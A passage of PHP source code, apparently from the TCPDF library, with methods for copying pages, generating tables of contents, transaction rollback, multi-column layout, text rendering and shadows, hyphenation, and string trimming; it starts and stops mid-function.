'global $jpage; $pagenum = intval($matches[3]) + 1; if ($pagenum >= $jpage) { $newpage = ($pagenum - 1); } elseif ($pagenum == $jpage) { $newpage = 1; } else { $newpage = $pagenum; } --$newpage; return "this.addField(\'".$matches[1]."\',\'".$matches[2]."\',".$newpage."";'), $tmpjavascript); // return to last page $this->lastPage(true); return true; } /** * Clone the specified page to a new page. * @param $page (int) number of page to copy (0 = current page) * @return true in case of success, false in case of error. * @public * @since 4.9.015 (2010-04-20) */ public function copyPage($page=0) { if ($page == 0) { // default value $page = $this->page; } if (($page < 1) OR ($page > $this->numpages)) { return false; } // close the last page $this->endPage(); // copy all page-related states ++$this->numpages; $this->page = $this->numpages; $this->setPageBuffer($this->page, $this->getPageBuffer($page)); $this->pagedim[$this->page] = $this->pagedim[$page]; $this->pagelen[$this->page] = $this->pagelen[$page]; $this->intmrk[$this->page] = $this->intmrk[$page]; $this->bordermrk[$this->page] = $this->bordermrk[$page]; $this->cntmrk[$this->page] = $this->cntmrk[$page]; $this->pageobjects[$this->page] = $this->pageobjects[$page]; $this->pageopen[$this->page] = false; if (isset($this->footerpos[$page])) { $this->footerpos[$this->page] = $this->footerpos[$page]; } if (isset($this->footerlen[$page])) { $this->footerlen[$this->page] = $this->footerlen[$page]; } if (isset($this->transfmrk[$page])) { $this->transfmrk[$this->page] = $this->transfmrk[$page]; } if (isset($this->PageAnnots[$page])) { $this->PageAnnots[$this->page] = $this->PageAnnots[$page]; } if (isset($this->newpagegroup[$page])) { // start a new group $this->newpagegroup[$this->page] = sizeof($this->newpagegroup) + 1; $this->currpagegroup = $this->newpagegroup[$this->page]; $this->pagegroups[$this->currpagegroup] = 1; } elseif (isset($this->currpagegroup) AND ($this->currpagegroup > 0)) { ++$this->pagegroups[$this->currpagegroup]; } // copy outlines $tmpoutlines = $this->outlines; foreach ($tmpoutlines as $key => $outline) { if ($outline['p'] == $page) { $this->outlines[] = array('t' => $outline['t'], 'l' => $outline['l'], 'x' => $outline['x'], 'y' => $outline['y'], 'p' => $this->page, 's' => $outline['s'], 'c' => $outline['c']); } } // copy links $tmplinks = $this->links; foreach ($tmplinks as $key => $link) { if ($link[0] == $page) { $this->links[] = array($this->page, $link[1]); } } // return to last page $this->lastPage(true); return true; } /** * Output a Table of Content Index (TOC). * This method must be called after all Bookmarks were set. * Before calling this method you have to open the page using the addTOCPage() method. * After calling this method you have to call endTOCPage() to close the TOC page. * You can override this method to achieve different styles. * @param $page (int) page number where this TOC should be inserted (leave empty for current page). * @param $numbersfont (string) set the font for page numbers (please use monospaced font for better alignment). * @param $filler (string) string used to fill the space between text and page number. * @param $toc_name (string) name to use for TOC bookmark. * @param $style (string) Font style for title: B = Bold, I = Italic, BI = Bold + Italic. * @param $color (array) RGB color array for bookmark title (values from 0 to 255). * @public * @author Nicola Asuni * @since 4.5.000 (2009-01-02) * @see addTOCPage(), endTOCPage(), addHTMLTOC() */ public function addTOC($page='', $numbersfont='', $filler='.', $toc_name='TOC', $style='', $color=array(0,0,0)) { $fontsize = $this->FontSizePt; $fontfamily = $this->FontFamily; $fontstyle = $this->FontStyle; $w = $this->w - $this->lMargin - $this->rMargin; $spacer = $this->GetStringWidth(chr(32)) * 4; $lmargin = $this->lMargin; $rmargin = $this->rMargin; $x_start = $this->GetX(); $page_first = $this->page; $current_page = $this->page; $page_fill_start = false; $page_fill_end = false; $current_column = $this->current_column; if ($this->empty_string($numbersfont)) { $numbersfont = $this->default_monospaced_font; } if ($this->empty_string($filler)) { $filler = ' '; } if ($this->empty_string($page)) { $gap = ' '; } else { $gap = ''; if ($page < 1) { $page = 1; } } $this->SetFont($numbersfont, $fontstyle, $fontsize); $numwidth = $this->GetStringWidth('00000'); $maxpage = 0; //used for pages on attached documents foreach ($this->outlines as $key => $outline) { // check for extra pages (used for attachments) if (($this->page > $page_first) AND ($outline['p'] >= $this->numpages)) { $outline['p'] += ($this->page - $page_first); } if ($this->rtl) { $aligntext = 'R'; $alignnum = 'L'; } else { $aligntext = 'L'; $alignnum = 'R'; } if ($outline['l'] == 0) { $this->SetFont($fontfamily, $outline['s'].'B', $fontsize); } else { $this->SetFont($fontfamily, $outline['s'], $fontsize - $outline['l']); } $this->SetTextColorArray($outline['c']); // check for page break $this->checkPageBreak((2 * $this->FontSize * $this->cell_height_ratio)); // set margins and X position if (($this->page == $current_page) AND ($this->current_column == $current_column)) { $this->lMargin = $lmargin; $this->rMargin = $rmargin; } else { if ($this->current_column != $current_column) { if ($this->rtl) { $x_start = $this->w - $this->columns[$this->current_column]['x']; } else { $x_start = $this->columns[$this->current_column]['x']; } } $lmargin = $this->lMargin; $rmargin = $this->rMargin; $current_page = $this->page; $current_column = $this->current_column; } $this->SetX($x_start); $indent = ($spacer * $outline['l']); if ($this->rtl) { $this->x -= $indent; $this->rMargin = $this->w - $this->x; } else { $this->x += $indent; $this->lMargin = $this->x; } $link = $this->AddLink(); $this->SetLink($link, $outline['y'], $outline['p']); // write the text if ($this->rtl) { $txt = ' '.$outline['t']; } else { $txt = $outline['t'].' '; } $this->Write(0, $txt, $link, false, $aligntext, false, 0, false, false, 0, $numwidth, ''); if ($this->rtl) { $tw = $this->x - $this->lMargin; } else { $tw = $this->w - $this->rMargin - $this->x; } $this->SetFont($numbersfont, $fontstyle, $fontsize); if ($this->empty_string($page)) { $pagenum = $outline['p']; } else { // placemark to be replaced with the correct number $pagenum = '{#'.($outline['p']).'}'; if ($this->isUnicodeFont()) { $pagenum = '{'.$pagenum.'}'; } $maxpage = max($maxpage, $outline['p']); } $fw = ($tw - $this->GetStringWidth($pagenum.$filler)); $numfills = floor($fw / $this->GetStringWidth($filler)); if ($numfills > 0) { $rowfill = str_repeat($filler, $numfills); } else { $rowfill = ''; } if ($this->rtl) { $pagenum = $pagenum.$gap.$rowfill; } else { $pagenum = $rowfill.$gap.$pagenum; } // write the number $this->Cell($tw, 0, $pagenum, 0, 1, $alignnum, 0, $link, 0); } $page_last = $this->getPage(); $numpages = ($page_last - $page_first + 1); // account for booklet mode if ($this->booklet) { // check if a blank page is required before TOC $page_fill_start = ((($page_first % 2) == 0) XOR (($page % 2) == 0)); $page_fill_end = (!((($numpages % 2) == 0) XOR ($page_fill_start))); if ($page_fill_start) { // add a page at the end (to be moved before TOC) $this->addPage(); ++$page_last; ++$numpages; } if ($page_fill_end) { // add a page at the end $this->addPage(); ++$page_last; ++$numpages; } } $maxpage = max($maxpage, $page_last); if (!$this->empty_string($page)) { for ($p = $page_first; $p <= $page_last; ++$p) { // get page data $temppage = $this->getPageBuffer($p); for ($n = 1; $n <= $maxpage; ++$n) { // update page numbers $a = '{#'.$n.'}'; // get page number aliases $pnalias = $this->getInternalPageNumberAliases($a); // calculate replacement number if (($n >= $page) AND ($n <= $this->numpages)) { $np = $n + $numpages; } else { $np = $n; } $na = $this->formatTOCPageNumber(($this->starting_page_number + $np - 1)); $nu = $this->UTF8ToUTF16BE($na, false); // replace aliases with numbers foreach ($pnalias['u'] as $u) { $sfill = str_repeat($filler, max(0, (strlen($u) - strlen($nu.' ')))); if ($this->rtl) { $nr = $nu.$this->UTF8ToUTF16BE(' '.$sfill); } else { $nr = $this->UTF8ToUTF16BE($sfill.' ').$nu; } $temppage = str_replace($u, $nr, $temppage); } foreach ($pnalias['a'] as $a) { $sfill = str_repeat($filler, max(0, (strlen($a) - strlen($na.' ')))); if ($this->rtl) { $nr = $na.' '.$sfill; } else { $nr = $sfill.' '.$na; } $temppage = str_replace($a, $nr, $temppage); } } // save changes $this->setPageBuffer($p, $temppage); } // move pages $this->Bookmark($toc_name, 0, 0, $page_first, $style, $color); if ($page_fill_start) { $this->movePage($page_last, $page_first); } for ($i = 0; $i < $numpages; ++$i) { $this->movePage($page_last, $page); } } } /** * Output a Table Of Content Index (TOC) using HTML templates. * This method must be called after all Bookmarks were set. * Before calling this method you have to open the page using the addTOCPage() method. * After calling this method you have to call endTOCPage() to close the TOC page. * @param $page (int) page number where this TOC should be inserted (leave empty for current page). * @param $toc_name (string) name to use for TOC bookmark. * @param $templates (array) array of html templates. Use: "#TOC_DESCRIPTION#" for bookmark title, "#TOC_PAGE_NUMBER#" for page number. * @param $correct_align (boolean) if true correct the number alignment (numbers must be in monospaced font like courier and right aligned on LTR, or left aligned on RTL) * @param $style (string) Font style for title: B = Bold, I = Italic, BI = Bold + Italic. * @param $color (array) RGB color array for title (values from 0 to 255). * @public * @author Nicola Asuni * @since 5.0.001 (2010-05-06) * @see addTOCPage(), endTOCPage(), addTOC() */ public function addHTMLTOC($page='', $toc_name='TOC', $templates=array(), $correct_align=true, $style='', $color=array(0,0,0)) { $filler = ' '; $prev_htmlLinkColorArray = $this->htmlLinkColorArray; $prev_htmlLinkFontStyle = $this->htmlLinkFontStyle; // set new style for link $this->htmlLinkColorArray = array(); $this->htmlLinkFontStyle = ''; $page_first = $this->getPage(); $page_fill_start = false; $page_fill_end = false; // get the font type used for numbers in each template $current_font = $this->FontFamily; foreach ($templates as $level => $html) { $dom = $this->getHtmlDomArray($html); foreach ($dom as $key => $value) { if ($value['value'] == '#TOC_PAGE_NUMBER#') { $this->SetFont($dom[($key - 1)]['fontname']); $templates['F'.$level] = $this->isUnicodeFont(); } } } $this->SetFont($current_font); $maxpage = 0; //used for pages on attached documents foreach ($this->outlines as $key => $outline) { // get HTML template $row = $templates[$outline['l']]; if ($this->empty_string($page)) { $pagenum = $outline['p']; } else { // placemark to be replaced with the correct number $pagenum = '{#'.($outline['p']).'}'; if ($templates['F'.$outline['l']]) { $pagenum = '{'.$pagenum.'}'; } $maxpage = max($maxpage, $outline['p']); } // replace templates with current values $row = str_replace('#TOC_DESCRIPTION#', $outline['t'], $row); $row = str_replace('#TOC_PAGE_NUMBER#', $pagenum, $row); // add link to page $row = '<a href="#'.$outline['p'].','.$outline['y'].'">'.$row.'</a>'; // write bookmark entry $this->writeHTML($row, false, false, true, false, ''); } // restore link styles $this->htmlLinkColorArray = $prev_htmlLinkColorArray; $this->htmlLinkFontStyle = $prev_htmlLinkFontStyle; // move TOC page and replace numbers $page_last = $this->getPage(); $numpages = ($page_last - $page_first + 1); // account for booklet mode if ($this->booklet) { // check if a blank page is required before TOC $page_fill_start = ((($page_first % 2) == 0) XOR (($page % 2) == 0)); $page_fill_end = (!((($numpages % 2) == 0) XOR ($page_fill_start))); if ($page_fill_start) { // add a page at the end (to be moved before TOC) $this->addPage(); ++$page_last; ++$numpages; } if ($page_fill_end) { // add a page at the end $this->addPage(); ++$page_last; ++$numpages; } } $maxpage = max($maxpage, $page_last); if (!$this->empty_string($page)) { for ($p = $page_first; $p <= $page_last; ++$p) { // get page data $temppage = $this->getPageBuffer($p); for ($n = 1; $n <= $maxpage; ++$n) { // update page numbers $a = '{#'.$n.'}'; // get page number aliases $pnalias = $this->getInternalPageNumberAliases($a); // calculate replacement number if ($n >= $page) { $np = $n + $numpages; } else { $np = $n; } $na = $this->formatTOCPageNumber(($this->starting_page_number + $np - 1)); $nu = $this->UTF8ToUTF16BE($na, false); // replace aliases with numbers foreach ($pnalias['u'] as $u) { if ($correct_align) { $sfill = str_repeat($filler, (strlen($u) - strlen($nu.' '))); if ($this->rtl) { $nr = $nu.$this->UTF8ToUTF16BE(' '.$sfill); } else { $nr = $this->UTF8ToUTF16BE($sfill.' ').$nu; } } else { $nr = $nu; } $temppage = str_replace($u, $nr, $temppage); } foreach ($pnalias['a'] as $a) { if ($correct_align) { $sfill = str_repeat($filler, (strlen($a) - strlen($na.' '))); if ($this->rtl) { $nr = $na.' '.$sfill; } else { $nr = $sfill.' '.$na; } } else { $nr = $na; } $temppage = str_replace($a, $nr, $temppage); } } // save changes $this->setPageBuffer($p, $temppage); } // move pages $this->Bookmark($toc_name, 0, 0, $page_first, $style, $color); if ($page_fill_start) { $this->movePage($page_last, $page_first); } for ($i = 0; $i < $numpages; ++$i) { $this->movePage($page_last, $page); } } } /** * Stores a copy of the current TCPDF object used for undo operation. * @public * @since 4.5.029 (2009-03-19) */ public function startTransaction() { if (isset($this->objcopy)) { // remove previous copy $this->commitTransaction(); } // record current page number and Y position $this->start_transaction_page = $this->page; $this->start_transaction_y = $this->y; // clone current object $this->objcopy = $this->objclone($this); } /** * Delete the copy of the current TCPDF object used for undo operation. * @public * @since 4.5.029 (2009-03-19) */ public function commitTransaction() { if (isset($this->objcopy)) { $this->objcopy->_destroy(true, true); unset($this->objcopy); } } /** * This method allows to undo the latest transaction by returning the latest saved TCPDF object with startTransaction(). * @param $self (boolean) if true restores current class object to previous state without the need of reassignment via the returned value. * @return TCPDF object. * @public * @since 4.5.029 (2009-03-19) */ public function rollbackTransaction($self=false) { if (isset($this->objcopy)) { if (isset($this->objcopy->diskcache) AND $this->objcopy->diskcache) { // truncate files to previous values foreach ($this->objcopy->cache_file_length as $file => $length) { $file = substr($file, 1); $handle = fopen($file, 'r+'); ftruncate($handle, $length); } } $this->_destroy(true, true); if ($self) { $objvars = get_object_vars($this->objcopy); foreach ($objvars as $key => $value) { $this->$key = $value; } } return $this->objcopy; } return $this; } /** * Creates a copy of a class object * @param $object (object) class object to be cloned * @return cloned object * @public * @since 4.5.029 (2009-03-19) */ public function objclone($object) { return @clone($object); } /** * Determine whether a string is empty. * @param $str (string) string to be checked * @return boolean true if string is empty * @public * @since 4.5.044 (2009-04-16) */ public function empty_string($str) { return (is_null($str) OR (is_string($str) AND (strlen($str) == 0))); } /** * Find position of last occurrence of a substring in a string * @param $haystack (string) The string to search in. * @param $needle (string) substring to search. * @param $offset (int) May be specified to begin searching an arbitrary number of characters into the string. * @return Returns the position where the needle exists. Returns FALSE if the needle was not found. * @public * @since 4.8.038 (2010-03-13) */ public function revstrpos($haystack, $needle, $offset = 0) { $length = strlen($haystack); $offset = ($offset > 0)?($length - $offset):abs($offset); $pos = strpos(strrev($haystack), strrev($needle), $offset); return ($pos === false)?false:($length - $pos - strlen($needle)); } // --- MULTI COLUMNS METHODS ----------------------- /** * Set multiple columns of the same size * @param $numcols (int) number of columns (set to zero to disable columns mode) * @param $width (int) column width * @param $y (int) column starting Y position (leave empty for current Y position) * @public * @since 4.9.001 (2010-03-28) */ public function setEqualColumns($numcols=0, $width=0, $y='') { $this->columns = array(); if ($numcols < 2) { $numcols = 0; $this->columns = array(); } else { // maximum column width $maxwidth = ($this->w - $this->original_lMargin - $this->original_rMargin) / $numcols; if (($width == 0) OR ($width > $maxwidth)) { $width = $maxwidth; } if ($this->empty_string($y)) { $y = $this->y; } // space between columns $space = (($this->w - $this->original_lMargin - $this->original_rMargin - ($numcols * $width)) / ($numcols - 1)); // fill the columns array (with, space, starting Y position) for ($i = 0; $i < $numcols; ++$i) { $this->columns[$i] = array('w' => $width, 's' => $space, 'y' => $y); } } $this->num_columns = $numcols; $this->current_column = 0; $this->column_start_page = $this->page; $this->selectColumn(0); } /** * Remove columns and reset page margins. * @public * @since 5.9.072 (2011-04-26) */ public function resetColumns() { $this->lMargin = $this->original_lMargin; $this->rMargin = $this->original_rMargin; $this->setEqualColumns(); } /** * Set columns array. * Each column is represented by an array of arrays with the following keys: (w = width, s = space between columns, y = column top position). * @param $columns (array) * @public * @since 4.9.001 (2010-03-28) */ public function setColumnsArray($columns) { $this->columns = $columns; $this->num_columns = count($columns); $this->current_column = 0; $this->column_start_page = $this->page; $this->selectColumn(0); } /** * Set position at a given column * @param $col (int) column number (from 0 to getNumberOfColumns()-1); empty string = current column. * @public * @since 4.9.001 (2010-03-28) */ public function selectColumn($col='') { if (is_string($col)) { $col = $this->current_column; } elseif ($col >= $this->num_columns) { $col = 0; } $xshift = array('x' => 0, 's' => array('H' => 0, 'V' => 0), 'p' => array('L' => 0, 'T' => 0, 'R' => 0, 'B' => 0)); $enable_thead = false; if ($this->num_columns > 1) { if ($col != $this->current_column) { // move Y pointer at the top of the column if ($this->column_start_page == $this->page) { $this->y = $this->columns[$col]['y']; } else { $this->y = $this->tMargin; } // Avoid to write table headers more than once if (($this->page > $this->maxselcol['page']) OR (($this->page == $this->maxselcol['page']) AND ($col > $this->maxselcol['column']))) { $enable_thead = true; $this->maxselcol['page'] = $this->page; $this->maxselcol['column'] = $col; } } $xshift = $this->colxshift; // set X position of the current column by case $listindent = ($this->listindentlevel * $this->listindent); // calculate column X position $colpos = 0; for ($i = 0; $i < $col; ++$i) { $colpos += ($this->columns[$i]['w'] + $this->columns[$i]['s']); } if ($this->rtl) { $x = $this->w - $this->original_rMargin - $colpos; $this->rMargin = ($this->w - $x + $listindent); $this->lMargin = ($x - $this->columns[$col]['w']); $this->x = $x - $listindent; } else { $x = $this->original_lMargin + $colpos; $this->lMargin = ($x + $listindent); $this->rMargin = ($this->w - $x - $this->columns[$col]['w']); $this->x = $x + $listindent; } $this->columns[$col]['x'] = $x; } $this->current_column = $col; // fix for HTML mode $this->newline = true; // print HTML table header (if any) if ((!$this->empty_string($this->thead)) AND (!$this->inthead)) { if ($enable_thead) { // print table header $this->writeHTML($this->thead, false, false, false, false, ''); $this->y += $xshift['s']['V']; // store end of header position if (!isset($this->columns[$col]['th'])) { $this->columns[$col]['th'] = array(); } $this->columns[$col]['th']['\''.$this->page.'\''] = $this->y; $this->lasth = 0; } elseif (isset($this->columns[$col]['th']['\''.$this->page.'\''])) { $this->y = $this->columns[$col]['th']['\''.$this->page.'\'']; } } // account for an html table cell over multiple columns if ($this->rtl) { $this->rMargin += $xshift['x']; $this->x -= ($xshift['x'] + $xshift['p']['R']); } else { $this->lMargin += $xshift['x']; $this->x += $xshift['x'] + $xshift['p']['L']; } } /** * Return the current column number * @return int current column number * @public * @since 5.5.011 (2010-07-08) */ public function getColumn() { return $this->current_column; } /** * Return the current number of columns. * @return int number of columns * @public * @since 5.8.018 (2010-08-25) */ public function getNumberOfColumns() { return $this->num_columns; } /** * Serialize an array of parameters to be used with TCPDF tag in HTML code. * @param $pararray (array) parameters array * @return sting containing serialized data * @public * @since 4.9.006 (2010-04-02) */ public function serializeTCPDFtagParameters($pararray) { return urlencode(serialize($pararray)); } /** * Set Text rendering mode. * @param $stroke (int) outline size in user units (0 = disable). * @param $fill (boolean) if true fills the text (default). * @param $clip (boolean) if true activate clipping mode * @public * @since 4.9.008 (2009-04-02) */ public function setTextRenderingMode($stroke=0, $fill=true, $clip=false) { // Ref.: PDF 32000-1:2008 - 9.3.6 Text Rendering Mode // convert text rendering parameters if ($stroke < 0) { $stroke = 0; } if ($fill === true) { if ($stroke > 0) { if ($clip === true) { // Fill, then stroke text and add to path for clipping $textrendermode = 6; } else { // Fill, then stroke text $textrendermode = 2; } $textstrokewidth = $stroke; } else { if ($clip === true) { // Fill text and add to path for clipping $textrendermode = 4; } else { // Fill text $textrendermode = 0; } } } else { if ($stroke > 0) { if ($clip === true) { // Stroke text and add to path for clipping $textrendermode = 5; } else { // Stroke text $textrendermode = 1; } $textstrokewidth = $stroke; } else { if ($clip === true) { // Add text to path for clipping $textrendermode = 7; } else { // Neither fill nor stroke text (invisible) $textrendermode = 3; } } } $this->textrendermode = $textrendermode; $this->textstrokewidth = $stroke; } /** * Set parameters for drop shadow effect for text. * @param $params (array) Array of parameters: enabled (boolean) set to true to enable shadow; depth_w (float) shadow width in user units; depth_h (float) shadow height in user units; color (array) shadow color or false to use the stroke color; opacity (float) Alpha value: real value from 0 (transparent) to 1 (opaque); blend_mode (string) blend mode, one of the following: Normal, Multiply, Screen, Overlay, Darken, Lighten, ColorDodge, ColorBurn, HardLight, SoftLight, Difference, Exclusion, Hue, Saturation, Color, Luminosity. * @since 5.9.174 (2012-07-25) * @public */ public function setTextShadow($params=array('enabled'=>false, 'depth_w'=>0, 'depth_h'=>0, 'color'=>false, 'opacity'=>1, 'blend_mode'=>'Normal')) { if (isset($params['enabled'])) { $this->txtshadow['enabled'] = $params['enabled']?true:false; } else { $this->txtshadow['enabled'] = false; } if (isset($params['depth_w'])) { $this->txtshadow['depth_w'] = floatval($params['depth_w']); } else { $this->txtshadow['depth_w'] = 0; } if (isset($params['depth_h'])) { $this->txtshadow['depth_h'] = floatval($params['depth_h']); } else { $this->txtshadow['depth_h'] = 0; } if (isset($params['color']) AND ($params['color'] !== false) AND is_array($params['color'])) { $this->txtshadow['color'] = $params['color']; } else { $this->txtshadow['color'] = $this->strokecolor; } if (isset($params['opacity'])) { $this->txtshadow['opacity'] = min(1, max(0, floatval($params['opacity']))); } else { $this->txtshadow['opacity'] = 1; } if (isset($params['blend_mode']) AND in_array($params['blend_mode'], array('Normal', 'Multiply', 'Screen', 'Overlay', 'Darken', 'Lighten', 'ColorDodge', 'ColorBurn', 'HardLight', 'SoftLight', 'Difference', 'Exclusion', 'Hue', 'Saturation', 'Color', 'Luminosity'))) { $this->txtshadow['blend_mode'] = $params['blend_mode']; } else { $this->txtshadow['blend_mode'] = 'Normal'; } if ((($this->txtshadow['depth_w'] == 0) AND ($this->txtshadow['depth_h'] == 0)) OR ($this->txtshadow['opacity'] == 0)) { $this->txtshadow['enabled'] = false; } } /** * Return the text shadow parameters array. * @return Array of parameters. * @since 5.9.174 (2012-07-25) * @public */ public function getTextShadow() { return $this->txtshadow; } /** * Returns an array of chars containing soft hyphens. * @param $word (array) array of chars * @param $patterns (array) Array of hypenation patterns. * @param $dictionary (array) Array of words to be returned without applying the hyphenation algoritm. * @param $leftmin (int) Minimum number of character to leave on the left of the word without applying the hyphens. * @param $rightmin (int) Minimum number of character to leave on the right of the word without applying the hyphens. * @param $charmin (int) Minimum word length to apply the hyphenation algoritm. * @param $charmax (int) Maximum length of broken piece of word. * @return array text with soft hyphens * @author Nicola Asuni * @since 4.9.012 (2010-04-12) * @protected */ protected function hyphenateWord($word, $patterns, $dictionary=array(), $leftmin=1, $rightmin=2, $charmin=1, $charmax=8) { $hyphenword = array(); // hyphens positions $numchars = count($word); if ($numchars <= $charmin) { return $word; } $word_string = $this->UTF8ArrSubString($word); // some words will be returned as-is $pattern = '/^([a-zA-Z0-9_\.\-]+)@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.)|(([a-zA-Z0-9\-]+\.)+))([a-zA-Z]{2,4}|[0-9]{1,3})(\]?)$/'; if (preg_match($pattern, $word_string) > 0) { // email return $word; } $pattern = '/(([a-zA-Z0-9\-]+\.)?)((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.)|(([a-zA-Z0-9\-]+\.)+))([a-zA-Z]{2,4}|[0-9]{1,3})(\]?)$/'; if (preg_match($pattern, $word_string) > 0) { // URL return $word; } if (isset($dictionary[$word_string])) { return $this->UTF8StringToArray($dictionary[$word_string]); } // suround word with '_' characters $tmpword = array_merge(array(95), $word, array(95)); $tmpnumchars = $numchars + 2; $maxpos = $tmpnumchars - $charmin; for ($pos = 0; $pos < $maxpos; ++$pos) { $imax = min(($tmpnumchars - $pos), $charmax); for ($i = $charmin; $i <= $imax; ++$i) { $subword = strtolower($this->UTF8ArrSubString($tmpword, $pos, $pos + $i)); if (isset($patterns[$subword])) { $pattern = $this->UTF8StringToArray($patterns[$subword]); $pattern_length = count($pattern); $digits = 1; for ($j = 0; $j < $pattern_length; ++$j) { // check if $pattern[$j] is a number if (($pattern[$j] >= 48) AND ($pattern[$j] <= 57)) { if ($j == 0) { $zero = $pos - 1; } else { $zero = $pos + $j - $digits; } if (!isset($hyphenword[$zero]) OR ($hyphenword[$zero] != $pattern[$j])) { $hyphenword[$zero] = $this->unichr($pattern[$j]); } ++$digits; } } } } } $inserted = 0; $maxpos = $numchars - $rightmin; for ($i = $leftmin; $i <= $maxpos; ++$i) { if (isset($hyphenword[$i]) AND (($hyphenword[$i] % 2) != 0)) { // 173 = soft hyphen character array_splice($word, $i + $inserted, 0, 173); ++$inserted; } } return $word; } /** * Returns an array of hyphenation patterns. * @param $file (string) TEX file containing hypenation patterns. TEX pattrns can be downloaded from http://www.ctan.org/tex-archive/language/hyph-utf8/tex/generic/hyph-utf8/patterns/ * @return array of hyphenation patterns * @author Nicola Asuni * @since 4.9.012 (2010-04-12) * @public */ public function getHyphenPatternsFromTEX($file) { // TEX patterns are available at: // http://www.ctan.org/tex-archive/language/hyph-utf8/tex/generic/hyph-utf8/patterns/ $data = file_get_contents($file); $patterns = array(); // remove comments $data = preg_replace('/\%[^\n]*/', '', $data); // extract the patterns part preg_match('/\\\\patterns\{([^\}]*)\}/i', $data, $matches); $data = trim(substr($matches[0], 10, -1)); // extract each pattern $patterns_array = preg_split('/[\s]+/', $data); // create new language array of patterns $patterns = array(); foreach($patterns_array as $val) { if (!$this->empty_string($val)) { $val = trim($val); $val = str_replace('\'', '\\\'', $val); $key = preg_replace('/[0-9]+/', '', $val); $patterns[$key] = $val; } } return $patterns; } /** * Returns text with soft hyphens. * @param $text (string) text to process * @param $patterns (mixed) Array of hypenation patterns or a TEX file containing hypenation patterns. TEX patterns can be downloaded from http://www.ctan.org/tex-archive/language/hyph-utf8/tex/generic/hyph-utf8/patterns/ * @param $dictionary (array) Array of words to be returned without applying the hyphenation algoritm. * @param $leftmin (int) Minimum number of character to leave on the left of the word without applying the hyphens. * @param $rightmin (int) Minimum number of character to leave on the right of the word without applying the hyphens. * @param $charmin (int) Minimum word length to apply the hyphenation algoritm. * @param $charmax (int) Maximum length of broken piece of word. * @return array text with soft hyphens * @author Nicola Asuni * @since 4.9.012 (2010-04-12) * @public */ public function hyphenateText($text, $patterns, $dictionary=array(), $leftmin=1, $rightmin=2, $charmin=1, $charmax=8) { $text = $this->unhtmlentities($text); $word = array(); // last word $txtarr = array(); // text to be returned $intag = false; // true if we are inside an HTML tag if (!is_array($patterns)) { $patterns = $this->getHyphenPatternsFromTEX($patterns); } // get array of characters $unichars = $this->UTF8StringToArray($text); // for each char foreach ($unichars as $char) { if ((!$intag) AND $this->unicode->uni_type[$char] == 'L') { // letter character $word[] = $char; } else { // other type of character if (!$this->empty_string($word)) { // hypenate the word $txtarr = array_merge($txtarr, $this->hyphenateWord($word, $patterns, $dictionary, $leftmin, $rightmin, $charmin, $charmax)); $word = array(); } $txtarr[] = $char; if (chr($char) == '<') { // we are inside an HTML tag $intag = true; } elseif ($intag AND (chr($char) == '>')) { // end of HTML tag $intag = false; } } } if (!$this->empty_string($word)) { // hypenate the word $txtarr = array_merge($txtarr, $this->hyphenateWord($word, $patterns, $dictionary, $leftmin, $rightmin, $charmin, $charmax)); } // convert char array to string and return return $this->UTF8ArrSubString($txtarr); } /** * Enable/disable rasterization of vector images using ImageMagick library. * @param $mode (boolean) if true enable rasterization, false otherwise. * @public * @since 5.0.000 (2010-04-27) */ public function setRasterizeVectorImages($mode) { $this->rasterize_vector_images = $mode; } /** * Get the Path-Painting Operators. * @param $style (string) Style of rendering. Possible values are: * <ul> * <li>S or D: Stroke the path.</li> * <li>s or d: Close and stroke the path.</li> * <li>f or F: Fill the path, using the nonzero winding number rule to determine the region to fill.</li> * <li>f* or F*: Fill the path, using the even-odd rule to determine the region to fill.</li> * <li>B or FD or DF: Fill and then stroke the path, using the nonzero winding number rule to determine the region to fill.</li> * <li>B* or F*D or DF*: Fill and then stroke the path, using the even-odd rule to determine the region to fill.</li> * <li>b or fd or df: Close, fill, and then stroke the path, using the nonzero winding number rule to determine the region to fill.</li> * <li>b or f*d or df*: Close, fill, and then stroke the path, using the even-odd rule to determine the region to fill.</li> * <li>CNZ: Clipping mode using the even-odd rule to determine which regions lie inside the clipping path.</li> * <li>CEO: Clipping mode using the nonzero winding number rule to determine which regions lie inside the clipping path</li> * <li>n: End the path object without filling or stroking it.</li> * </ul> * @param $default (string) default style * @author Nicola Asuni * @since 5.0.000 (2010-04-30) * @protected */ protected function getPathPaintOperator($style, $default='S') { $op = ''; switch($style) { case 'S': case 'D': { $op = 'S'; break; } case 's': case 'd': { $op = 's'; break; } case 'f': case 'F': { $op = 'f'; break; } case 'f*': case 'F*': { $op = 'f*'; break; } case 'B': case 'FD': case 'DF': { $op = 'B'; break; } case 'B*': case 'F*D': case 'DF*': { $op = 'B*'; break; } case 'b': case 'fd': case 'df': { $op = 'b'; break; } case 'b*': case 'f*d': case 'df*': { $op = 'b*'; break; } case 'CNZ': { $op = 'W n'; break; } case 'CEO': { $op = 'W* n'; break; } case 'n': { $op = 'n'; break; } default: { if (!empty($default)) { $op = $this->getPathPaintOperator($default, ''); } else { $op = ''; } } } return $op; } /** * Enable or disable default option for font subsetting. * @param $enable (boolean) if true enable font subsetting by default. * @author Nicola Asuni * @public * @since 5.3.002 (2010-06-07) */ public function setFontSubsetting($enable=true) { if ($this->pdfa_mode) { $this->font_subsetting = false; } else { $this->font_subsetting = $enable ? true : false; } } /** * Return the default option for font subsetting. * @return boolean default font subsetting state. * @author Nicola Asuni * @public * @since 5.3.002 (2010-06-07) */ public function getFontSubsetting() { return $this->font_subsetting; } /** * Left trim the input string * @param $str (string) string to trim * @param $replace (string) string that replace spaces. * @return left trimmed string * @author Nicola Asuni * @public * @since 5.8.000 (2010-08-11) */ public function stringLeftTrim($str, $replace='') { return preg_replace('/^'.$this->re_space['p'].'+/'.$this->re_space['m'], $replace, $str); } /** * Right trim the input string * @param $str (string) string to trim * @param $replace (string) string that replace spaces. * @return right trimmed string * @author Nicola Asuni * @public * @since 5.8.000 (2010-08-11) */ public function stringRightTrim($str, $replace='') { return preg_replace('/'.$this->re_space['p'].'+$/'.$this->re_space['m'], $replace, $str); } /** * Trim the input string * @param $str (string) string to trim * @param $replace (string) string that replace spaces. * @return trimmed string * @author Nicola Asuni * @public * @since 5.8.000 (2010-08-11) */ public function stringTrim($str, $replace='') { $str = $this->stringLeftTrim($str, $replace); $str = $this->stringRightTrim($str, $replace); return $str; } /** * Return true if the current font is unicode type. * @return true for unicode font, false otherwise. * @author Nicola Asuni * @public * @since 5.8.002 (2010-08-14) */ public function isUnicodeFont() { return 